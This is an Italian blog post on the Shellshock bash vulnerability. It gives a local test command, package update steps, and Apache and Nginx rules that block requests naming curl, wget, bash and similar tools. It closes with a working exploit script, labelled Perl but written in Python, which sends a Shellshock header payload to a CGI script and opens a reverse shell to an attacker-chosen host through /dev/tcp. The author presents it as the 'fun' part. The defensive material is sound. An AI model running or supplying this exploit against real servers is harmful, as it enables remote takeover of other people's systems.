Ciao Ragazzi,
il titolo in Inglese serve per dare più impatto a questo articolo uscito qualche giorno dopo la famosa scoperta di “Shellsock”.
Cos’è Shellshock
Per chi non lo sapesse è il nome che è stato dato ad una delle vulnerabilità più gravi, a mio parere la più grave, finora scoperte su sistemi Linux.
La Shell bash è quella che ormai è più diffusa e presente su tutti i sistemi principali usati sia come Server, ma anche come Client (vedi i vari Ubuntu, Linux Mint etc.)
Questa vulnerabilità è legato a quei sistemi che hanno applicativi tali da permettere modifiche non autorizzate ad utenti remoti…vi faccio un paio di esempi:
- Apache Server che eseguono script CGI;
- Alcuni client DHCP
- Server SSH che usano il comando ForceCapability
Test di Sistema
Di seguito vi mostro un semplice script per effettuare il test del vostro sistema:
env 'VAR=() { :;}; echo Bash è vulnerabile!' 'FUNCTION()=() { :;}; echo Bash è vulnerabile!' bash -c "echo Bash Test"
Finchè vedete solo la scritta “Bash Test” vuol dire che il vostro sistema è al sicuro!Bravi lo aggiornate spesso!
Se invece vedete la scritta “Bash è vulnerabile” significa che bisogna correre ai ripari con una certa urgenza.
Per correre ai ripari la prima cosa da fare è aggiornare i vostri repository (se ad esempio usate una distribuzione vecchia non aggiornata) con le versioni LTS (es. Debian Squeeze)
Altrimenti vi conviene lanciare subito un:
apt-get update
apt-get dist-upgrade
Ovviamente io vi parlo in linguaggio Debian, per gli altri sistemi l’aggiornamento dei repository è analogo.
Se vogliamo solo aggiornare il pacchetto Bash, allora:
apt-get update
apt-get install bash
Aggiornamento: per la versione 3 del bug, è necessario effettuare anche modifiche sul web server per evitare le richieste tramite HTTP header.
Le operazioni da fare sono:
Apache
a2enmod setenvif
####Editare il file apache2.conf o httpd.conf aggiungendo come segue:
SetEnvIfNoCase User-Agent "/bin/" get_lost
SetEnvIfNoCase User-Agent "/sbin/" get_lost
SetEnvIfNoCase User-Agent "curl" get_lost
SetEnvIfNoCase User-Agent "cat" get_lost
SetEnvIfNoCase User-Agent "ping" get_lost
SetEnvIfNoCase User-Agent "bash" get_lost
SetEnvIfNoCase User-Agent "shellshock" get_lost
SetEnvIfNoCase User-Agent "wget" get_lost
<Location />
Order Allow,Deny
Deny from env=get_lost
Allow from all
</Location>
Nginx
Dentro il codice http{} inserire:
map $request $shellshockblock {
default 0;
~*\:\; 1;
~*ping 1;
~*\/bash 1;
}
Dentro il codice location{} inserire:
if ($shellshockblock) { return 412; }
Finita la parte di “Difesa” passiamo alla parte di “Attacco” che è anche quella più divertente…Mi raccomando il codice che vi do è al solo scopo dimostrativo. Non fate danni!
Ecco come attaccare, tramite uno script perl un server con vulnerabilità bash per ottenere una shell di root:
#
#CVE-2014-6271 cgi-bin reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
Oppure potete fare riferimento a questa pagina http://shellshock.brandonpotter.com/
Enjoy!